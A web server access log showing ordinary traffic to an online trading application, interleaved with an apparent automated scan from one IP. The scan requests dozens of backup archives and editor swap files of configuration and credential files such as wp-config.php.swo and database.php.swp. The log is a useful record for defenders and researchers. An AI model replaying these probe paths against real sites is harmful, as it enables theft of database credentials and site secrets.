[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:53:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927479992 HTTP/1.1" -
[09/Jan/2026:10:53:30 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.z HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.war HTTP/1.1" 196
[09/Jan/2026:10:53:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.7z HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.gz HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.lz HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.swp HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.rar HTTP/1.1" 196
[09/Jan/2026:10:53:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.xz HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.zip HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.z HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.Z HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.db HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.jar HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sqlite HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.swp HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:53:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927486900 HTTP/1.1" -
[09/Jan/2026:10:53:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927498965 HTTP/1.1" -
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927485022 HTTP/1.1" -
[09/Jan/2026:10:53:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.z HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.war HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.7z HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.swp HTTP/1.1" 196
[09/Jan/2026:10:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927504034 HTTP/1.1" -
[09/Jan/2026:10:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927492042 HTTP/1.1" -
[09/Jan/2026:10:53:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927490074 HTTP/1.1" -
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.gz HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.lz HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.rar HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.xz HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.zip HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.z HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.Z HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927509063 HTTP/1.1" -
[09/Jan/2026:10:53:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927497105 HTTP/1.1" -
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.db HTTP/1.1" 196
[09/Jan/2026:10:53:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927495112 HTTP/1.1" -
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.jar HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sqlite HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:53:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.z HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.swp HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:53:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.war HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.7z HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.gz HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.lz HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.rar HTTP/1.1" 196
[09/Jan/2026:10:53:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.xz HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.zip HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.z HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.Z HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tar.z HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.tgz HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.db HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.swo HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.jar HTTP/1.1" 196
[09/Jan/2026:10:53:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927514124 HTTP/1.1" -
[09/Jan/2026:10:53:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.swo HTTP/1.1" 196
